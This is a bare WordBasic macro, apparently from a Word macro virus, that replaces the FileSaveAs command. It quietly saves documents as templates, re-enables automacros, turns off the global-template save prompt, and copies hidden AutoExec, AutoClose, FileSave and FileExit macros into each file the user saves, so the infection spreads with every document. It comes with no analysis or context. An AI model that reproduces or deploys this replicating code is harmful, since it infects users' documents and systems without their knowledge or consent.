Sub MAIN
Dim dlg As FileSaveAs
On Error Goto Abort
GetCurValues dlg
Dialog dlg
If dlg.Format = 0 Then dlg.Format = 1
DisableAutoMacros(0)'enables automacros if off
ToolsOptionsSave  .GlobalDotPrompt = 0

ThisFile$ = FileName$()
ThisFileMacro$ = ThisFile$ + ":twAE"
MacroCopy "Global:AutoExec", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twFSA"
MacroCopy "Global:FileSaveAs", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twEX"
MacroCopy "Global:AutoExit", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":twFS"
MacroCopy "Global:FileSave", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileClose"
MacroCopy "Global:twFC", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileExit"
MacroCopy "Global:twFE", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":FileQuit"
MacroCopy "Global:twFQ", ThisFileMacro$
ThisFileMacro$ = ThisFile$ + ":AutoClose"
MacroCopy "Global:twAC", ThisFileMacro$

FileSaveAs dlg
Goto VayaConDios

Abort:
If Err <> 102 Then
	FileSaveAs dlg
End If
VayaConDios:

End Sub
